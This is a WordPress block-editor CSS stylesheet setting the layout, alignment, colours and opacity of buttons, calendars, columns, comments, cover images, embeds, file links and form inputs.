:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-text-color)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-text-color)){
  color:currentColor;
}
:root :where(.wp-block-button .wp-block-button__link.is-style-outline:not(.has-background)),:root :where(.wp-block-button.is-style-outline>.wp-block-button__link:not(.has-background)){
  background-color:initial;
  background-image:none;
}

.wp-block-buttons{
  box-sizing:border-box;
}
.wp-block-buttons.is-vertical{
  flex-direction:column;
}
.wp-block-buttons.is-vertical>.wp-block-button:last-child{
  margin-bottom:0;
}
.wp-block-buttons>.wp-block-button{
  display:inline-block;
  margin:0;
}
.wp-block-buttons.is-content-justification-left{
  justify-content:flex-start;
}
.wp-block-buttons.is-content-justification-left.is-vertical{
  align-items:flex-start;
}
.wp-block-buttons.is-content-justification-center{
  justify-content:center;
}
.wp-block-buttons.is-content-justification-center.is-vertical{
  align-items:center;
}
.wp-block-buttons.is-content-justification-right{
  justify-content:flex-end;
}
.wp-block-buttons.is-content-justification-right.is-vertical{
  align-items:flex-end;
}
.wp-block-buttons.is-content-justification-space-between{
  justify-content:space-between;
}
.wp-block-buttons.aligncenter{
  text-align:center;
}
.wp-block-buttons:not(.is-content-justification-space-between,.is-content-justification-right,.is-content-justification-left,.is-content-justification-center) .wp-block-button.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:100%;
}
.wp-block-buttons[style*=text-decoration] .wp-block-button,.wp-block-buttons[style*=text-decoration] .wp-block-button__link{
  text-decoration:inherit;
}
.wp-block-buttons.has-custom-font-size .wp-block-button__link{
  font-size:inherit;
}
.wp-block-buttons .wp-block-button__link{
  width:100%;
}

.wp-block-button.aligncenter,.wp-block-calendar{
  text-align:center;
}
.wp-block-calendar td,.wp-block-calendar th{
  border:1px solid;
  padding:.25em;
}
.wp-block-calendar th{
  font-weight:400;
}
.wp-block-calendar caption{
  background-color:inherit;
}
.wp-block-calendar table{
  border-collapse:collapse;
  width:100%;
}
.wp-block-calendar table:where(:not(.has-text-color)){
  color:#40464d;
}
.wp-block-calendar table:where(:not(.has-text-color)) td,.wp-block-calendar table:where(:not(.has-text-color)) th{
  border-color:#ddd;
}
.wp-block-calendar table.has-background th{
  background-color:inherit;
}
.wp-block-calendar table.has-text-color th{
  color:inherit;
}

:where(.wp-block-calendar table:not(.has-background) th){
  background:#ddd;
}

.wp-block-categories{
  box-sizing:border-box;
}
.wp-block-categories.alignleft{
  margin-right:2em;
}
.wp-block-categories.alignright{
  margin-left:2em;
}
.wp-block-categories.wp-block-categories-dropdown.aligncenter{
  text-align:center;
}
.wp-block-categories .wp-block-categories__label{
  display:block;
  width:100%;
}

.wp-block-code{
  box-sizing:border-box;
}
.wp-block-code code{
  direction:ltr;
  display:block;
  font-family:inherit;
  overflow-wrap:break-word;
  text-align:initial;
  white-space:pre-wrap;
}

.wp-block-columns{
  align-items:normal !important;
  box-sizing:border-box;
  display:flex;
  flex-wrap:wrap !important;
}
@media (min-width:782px){
  .wp-block-columns{
    flex-wrap:nowrap !important;
  }
}
.wp-block-columns.are-vertically-aligned-top{
  align-items:flex-start;
}
.wp-block-columns.are-vertically-aligned-center{
  align-items:center;
}
.wp-block-columns.are-vertically-aligned-bottom{
  align-items:flex-end;
}
@media (max-width:781px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:100% !important;
  }
}
@media (min-width:782px){
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{
    flex-basis:0;
    flex-grow:1;
  }
  .wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{
    flex-grow:0;
  }
}
.wp-block-columns.is-not-stacked-on-mobile{
  flex-wrap:nowrap !important;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{
  flex-basis:0;
  flex-grow:1;
}
.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{
  flex-grow:0;
}

:where(.wp-block-columns){
  margin-bottom:1.75em;
}

:where(.wp-block-columns.has-background){
  padding:1.25em 2.375em;
}

.wp-block-column{
  flex-grow:1;
  min-width:0;
  overflow-wrap:break-word;
  word-break:break-word;
}
.wp-block-column.is-vertically-aligned-top{
  align-self:flex-start;
}
.wp-block-column.is-vertically-aligned-center{
  align-self:center;
}
.wp-block-column.is-vertically-aligned-bottom{
  align-self:flex-end;
}
.wp-block-column.is-vertically-aligned-stretch{
  align-self:stretch;
}
.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{
  width:100%;
}
.wp-block-post-comments{
  box-sizing:border-box;
}
.wp-block-post-comments .alignleft{
  float:left;
}
.wp-block-post-comments .alignright{
  float:right;
}
.wp-block-post-comments .navigation:after{
  clear:both;
  content:"";
  display:table;
}
.wp-block-post-comments .commentlist{
  clear:both;
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .commentlist .comment{
  min-height:2.25em;
  padding-left:3.25em;
}
.wp-block-post-comments .commentlist .comment p{
  font-size:1em;
  line-height:1.8;
  margin:1em 0;
}
.wp-block-post-comments .commentlist .children{
  list-style:none;
  margin:0;
  padding:0;
}
.wp-block-post-comments .comment-author{
  line-height:1.5;
}
.wp-block-post-comments .comment-author .avatar{
  border-radius:1.5em;
  display:block;
  float:left;
  height:2.5em;
  margin-right:.75em;
  margin-top:.5em;
  width:2.5em;
}
.wp-block-post-comments .comment-author cite{
  font-style:normal;
}
.wp-block-post-comments .comment-meta{
  font-size:.875em;
  line-height:1.5;
}
.wp-block-post-comments .comment-meta b{
  font-weight:400;
}
.wp-block-post-comments .comment-meta .comment-awaiting-moderation{
  display:block;
  margin-bottom:1em;
  margin-top:1em;
}
.wp-block-post-comments .comment-body .commentmetadata{
  font-size:.875em;
}
.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{
  display:block;
  margin-bottom:.25em;
}
.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{
  box-sizing:border-box;
  display:block;
  width:100%;
}
.wp-block-post-comments .comment-form-cookies-consent{
  display:flex;
  gap:.25em;
}
.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{
  margin-top:.35em;
}
.wp-block-post-comments .comment-reply-title{
  margin-bottom:0;
}
.wp-block-post-comments .comment-reply-title :where(small){
  font-size:var(--wp--preset--font-size--medium, smaller);
  margin-left:.5em;
}
.wp-block-post-comments .reply{
  font-size:.875em;
  margin-bottom:1.4em;
}
.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{
  border:1px solid #949494;
  font-family:inherit;
  font-size:1em;
}
.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{
  padding:calc(.667em + 2px);
}

:where(.wp-block-post-comments input[type=submit]){
  border:none;
}

.wp-block-comments{
  box-sizing:border-box;
}

.wp-block-comments-pagination>.wp-block-comments-pagination-next,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers,.wp-block-comments-pagination>.wp-block-comments-pagination-previous{
  font-size:inherit;
  margin-bottom:.5em;
  margin-right:.5em;
}
.wp-block-comments-pagination>.wp-block-comments-pagination-next:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-numbers:last-child,.wp-block-comments-pagination>.wp-block-comments-pagination-previous:last-child{
  margin-right:0;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow{
  display:inline-block;
  margin-right:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-previous-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow{
  display:inline-block;
  margin-left:1ch;
}
.wp-block-comments-pagination .wp-block-comments-pagination-next-arrow:not(.is-arrow-chevron){
  transform:scaleX(1);
}
.wp-block-comments-pagination.aligncenter{
  justify-content:center;
}

.wp-block-comment-template{
  box-sizing:border-box;
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding:0;
}
.wp-block-comment-template li{
  clear:both;
}
.wp-block-comment-template ol{
  list-style:none;
  margin-bottom:0;
  max-width:100%;
  padding-left:2rem;
}
.wp-block-comment-template.alignleft{
  float:left;
}
.wp-block-comment-template.aligncenter{
  margin-left:auto;
  margin-right:auto;
  width:fit-content;
}
.wp-block-comment-template.alignright{
  float:right;
}

.wp-block-comment-date{
  box-sizing:border-box;
}

.comment-awaiting-moderation{
  display:block;
  font-size:.875em;
  line-height:1.5;
}

.wp-block-comment-author-name,.wp-block-comment-content,.wp-block-comment-edit-link,.wp-block-comment-reply-link{
  box-sizing:border-box;
}

.wp-block-cover,.wp-block-cover-image{
  align-items:center;
  background-position:50%;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  min-height:430px;
  overflow:hidden;
  overflow:clip;
  padding:1em;
  position:relative;
}
.wp-block-cover .has-background-dim:not([class*=-background-color]),.wp-block-cover-image .has-background-dim:not([class*=-background-color]),.wp-block-cover-image.has-background-dim:not([class*=-background-color]),.wp-block-cover.has-background-dim:not([class*=-background-color]){
  background-color:#000;
}
.wp-block-cover .has-background-dim.has-background-gradient,.wp-block-cover-image .has-background-dim.has-background-gradient{
  background-color:initial;
}
.wp-block-cover-image.has-background-dim:before,.wp-block-cover.has-background-dim:before{
  background-color:inherit;
  content:"";
}
.wp-block-cover .wp-block-cover__background,.wp-block-cover .wp-block-cover__gradient-background,.wp-block-cover-image .wp-block-cover__background,.wp-block-cover-image .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim:not(.has-background-gradient):before,.wp-block-cover.has-background-dim:not(.has-background-gradient):before{
  bottom:0;
  left:0;
  opacity:.5;
  position:absolute;
  right:0;
  top:0;
}
.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-10:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-10 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-10:not(.has-background-gradient):before{
  opacity:.1;
}
.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-20:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-20 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-20:not(.has-background-gradient):before{
  opacity:.2;
}
.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-30:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-30 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-30:not(.has-background-gradient):before{
  opacity:.3;
}
.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-40:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-40 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-40:not(.has-background-gradient):before{
  opacity:.4;
}
.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-50:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-50 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-50:not(.has-background-gradient):before{
  opacity:.5;
}
.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-60:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-60 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-60:not(.has-background-gradient):before{
  opacity:.6;
}
.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-70:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-70 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-70:not(.has-background-gradient):before{
  opacity:.7;
}
.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-80:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-80 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-80:not(.has-background-gradient):before{
  opacity:.8;
}
.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-90:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-90 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-90:not(.has-background-gradient):before{
  opacity:.9;
}
.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover-image.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover-image.has-background-dim.has-background-dim-100:not(.has-background-gradient):before,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__background,.wp-block-cover.has-background-dim.has-background-dim-100 .wp-block-cover__gradient-background,.wp-block-cover.has-background-dim.has-background-dim-100:not(.has-background-gradient):before{
  opacity:1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-0,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-0{
  opacity:0;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-10,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-10{
  opacity:.1;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-20,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-20{
  opacity:.2;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-30,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-30{
  opacity:.3;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-40,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-40{
  opacity:.4;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-50,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-50{
  opacity:.5;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-60,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-60{
  opacity:.6;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-70,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-70{
  opacity:.7;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-80,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-80{
  opacity:.8;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-90,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-90{
  opacity:.9;
}
.wp-block-cover .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__background.has-background-dim.has-background-dim-100,.wp-block-cover-image .wp-block-cover__gradient-background.has-background-dim.has-background-dim-100{
  opacity:1;
}
.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  max-width:420px;
  width:100%;
}
.wp-block-cover-image.aligncenter,.wp-block-cover-image.alignleft,.wp-block-cover-image.alignright,.wp-block-cover.aligncenter,.wp-block-cover.alignleft,.wp-block-cover.alignright{
  display:flex;
}
.wp-block-cover .wp-block-cover__inner-container,.wp-block-cover-image .wp-block-cover__inner-container{
  color:inherit;
  position:relative;
  width:100%;
}
.wp-block-cover-image.is-position-top-left,.wp-block-cover.is-position-top-left{
  align-items:flex-start;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-top-center,.wp-block-cover.is-position-top-center{
  align-items:flex-start;
  justify-content:center;
}
.wp-block-cover-image.is-position-top-right,.wp-block-cover.is-position-top-right{
  align-items:flex-start;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-center-left,.wp-block-cover.is-position-center-left{
  align-items:center;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-center-center,.wp-block-cover.is-position-center-center{
  align-items:center;
  justify-content:center;
}
.wp-block-cover-image.is-position-center-right,.wp-block-cover.is-position-center-right{
  align-items:center;
  justify-content:flex-end;
}
.wp-block-cover-image.is-position-bottom-left,.wp-block-cover.is-position-bottom-left{
  align-items:flex-end;
  justify-content:flex-start;
}
.wp-block-cover-image.is-position-bottom-center,.wp-block-cover.is-position-bottom-center{
  align-items:flex-end;
  justify-content:center;
}
.wp-block-cover-image.is-position-bottom-right,.wp-block-cover.is-position-bottom-right{
  align-items:flex-end;
  justify-content:flex-end;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position .wp-block-cover__inner-container{
  margin:0;
}
.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover-image.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-bottom-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-center-right .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-left .wp-block-cover__inner-container,.wp-block-cover.has-custom-content-position.has-custom-content-position.is-position-top-right .wp-block-cover__inner-container{
  margin:0;
  width:auto;
}
.wp-block-cover .wp-block-cover__image-background,.wp-block-cover video.wp-block-cover__video-background,.wp-block-cover-image .wp-block-cover__image-background,.wp-block-cover-image video.wp-block-cover__video-background{
  border:none;
  bottom:0;
  box-shadow:none;
  height:100%;
  left:0;
  margin:0;
  max-height:none;
  max-width:none;
  object-fit:cover;
  outline:none;
  padding:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
  background-attachment:fixed;
  background-repeat:no-repeat;
  background-size:cover;
}
@supports (-webkit-touch-callout:inherit){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
@media (prefers-reduced-motion:reduce){
  .wp-block-cover-image.has-parallax,.wp-block-cover.has-parallax,.wp-block-cover__image-background.has-parallax,video.wp-block-cover__video-background.has-parallax{
    background-attachment:scroll;
  }
}
.wp-block-cover-image.is-repeated,.wp-block-cover.is-repeated,.wp-block-cover__image-background.is-repeated,video.wp-block-cover__video-background.is-repeated{
  background-repeat:repeat;
  background-size:auto;
}
.wp-block-cover-image-text,.wp-block-cover-image-text a,.wp-block-cover-image-text a:active,.wp-block-cover-image-text a:focus,.wp-block-cover-image-text a:hover,.wp-block-cover-text,.wp-block-cover-text a,.wp-block-cover-text a:active,.wp-block-cover-text a:focus,.wp-block-cover-text a:hover,section.wp-block-cover-image h2,section.wp-block-cover-image h2 a,section.wp-block-cover-image h2 a:active,section.wp-block-cover-image h2 a:focus,section.wp-block-cover-image h2 a:hover{
  color:#fff;
}

.wp-block-cover-image .wp-block-cover.has-left-content{
  justify-content:flex-start;
}
.wp-block-cover-image .wp-block-cover.has-right-content{
  justify-content:flex-end;
}

.wp-block-cover-image.has-left-content .wp-block-cover-image-text,.wp-block-cover.has-left-content .wp-block-cover-text,section.wp-block-cover-image.has-left-content>h2{
  margin-left:0;
  text-align:left;
}

.wp-block-cover-image.has-right-content .wp-block-cover-image-text,.wp-block-cover.has-right-content .wp-block-cover-text,section.wp-block-cover-image.has-right-content>h2{
  margin-right:0;
  text-align:right;
}

.wp-block-cover .wp-block-cover-text,.wp-block-cover-image .wp-block-cover-image-text,section.wp-block-cover-image>h2{
  font-size:2em;
  line-height:1.25;
  margin-bottom:0;
  max-width:840px;
  padding:.44em;
  text-align:center;
  z-index:1;
}

:where(.wp-block-cover-image:not(.has-text-color)),:where(.wp-block-cover:not(.has-text-color)){
  color:#fff;
}

:where(.wp-block-cover-image.is-light:not(.has-text-color)),:where(.wp-block-cover.is-light:not(.has-text-color)){
  color:#000;
}

:root :where(.wp-block-cover h1:not(.has-text-color)),:root :where(.wp-block-cover h2:not(.has-text-color)),:root :where(.wp-block-cover h3:not(.has-text-color)),:root :where(.wp-block-cover h4:not(.has-text-color)),:root :where(.wp-block-cover h5:not(.has-text-color)),:root :where(.wp-block-cover h6:not(.has-text-color)),:root :where(.wp-block-cover p:not(.has-text-color)){
  color:inherit;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__image-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__video-background{
  z-index:0;
}
body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__gradient-background,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container,body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)).has-background-dim:not(.has-background-gradient):before{
  z-index:1;
}
.has-modal-open body:not(.editor-styles-wrapper) .wp-block-cover:not(.wp-block-cover:has(.wp-block-cover__background+.wp-block-cover__inner-container)) .wp-block-cover__inner-container{
  z-index:auto;
}

.wp-block-details{
  box-sizing:border-box;
}

.wp-block-details summary{
  cursor:pointer;
}

.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{
  max-width:360px;
  width:100%;
}
.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{
  min-width:280px;
}

.wp-block-cover .wp-block-embed{
  min-height:240px;
  min-width:320px;
}

.wp-block-embed{
  overflow-wrap:break-word;
}
.wp-block-embed :where(figcaption){
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-embed iframe{
  max-width:100%;
}

.wp-block-embed__wrapper{
  position:relative;
}

.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{
  content:"";
  display:block;
  padding-top:50%;
}
.wp-embed-responsive .wp-has-aspect-ratio iframe{
  bottom:0;
  height:100%;
  left:0;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{
  padding-top:42.85%;
}
.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{
  padding-top:50%;
}
.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{
  padding-top:56.25%;
}
.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{
  padding-top:75%;
}
.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{
  padding-top:100%;
}
.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{
  padding-top:177.77%;
}
.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{
  padding-top:200%;
}

.wp-block-file{
  box-sizing:border-box;
}
.wp-block-file:not(.wp-element-button){
  font-size:.8em;
}
.wp-block-file.aligncenter{
  text-align:center;
}
.wp-block-file.alignright{
  text-align:right;
}
.wp-block-file *+.wp-block-file__button{
  margin-left:.75em;
}

:where(.wp-block-file){
  margin-bottom:1.5em;
}

.wp-block-file__embed{
  margin-bottom:1em;
}

:where(.wp-block-file__button){
  border-radius:2em;
  display:inline-block;
  padding:.5em 1em;
}
:where(.wp-block-file__button):is(a):active,:where(.wp-block-file__button):is(a):focus,:where(.wp-block-file__button):is(a):hover,:where(.wp-block-file__button):is(a):visited{
  box-shadow:none;
  color:#fff;
  opacity:.85;
  text-decoration:none;
}

.wp-block-form-input__label{
  display:flex;
  flex-direction:column;
  gap:.25em;
  margin-bottom:.5em;
  width:100%;
}
.wp-block-form-input__label.is-label-inline{
  align-items:center;
  flex-direction:row;
  gap:.5em;
}
.wp-block-form-input__label.is-label-inline .wp-block-form-input__label-content{
  margin-bottom:.5em;
}
.wp-block-form-input__label:has(input[type=checkbox]){
  flex-direction:row;
  width:fit-content;
}
.wp-block-form-input__label:has(input[type=checkbox]) .wp-block-form-input__label-content{
  margin:0;
}
.wp-block-form-input__label:has(.wp-block-form-input__label-content+input[type=checkbox]){
  flex-direction:row-reverse;
}

.wp-block-form-input__label-content{
  width:fit-content;
}

.wp-block-form-input__input{
  font-size:1em;
  margin-bottom:.5em;
  padding:0 .5em;
}
.wp-block-form-input__input[type=date],.wp-block-form-input__input[type=datetime-local],.wp-block-form-input__input[type=datetime],.wp-block-form-input__input[type=email],.wp-block-form-input__input[type=month],.wp-block-form-input__input[type=number],.wp-block-form-input__input[type=password],.wp-block-form-input__input[type=search],.wp-block-form-input__input[type=tel],.wp-block-form-input__input[type=text],.wp-block-form-input__input[type=time],.wp-block-form-input__input[type=url],.wp-block-form-input__input[type=week]{
  border:1px solid;
  line-height:2;
  min-height:2em;
}

textarea.wp-block-form-input__input{
  min-height:10em;
}

.blocks-gallery-grid:not(.has-nested-images),.wp-block-gallery:not(.has-nested-images){
  display:flex;
  flex-wrap:wrap;
  list-style-type:none;
  margin:0;
  padding:0;
}
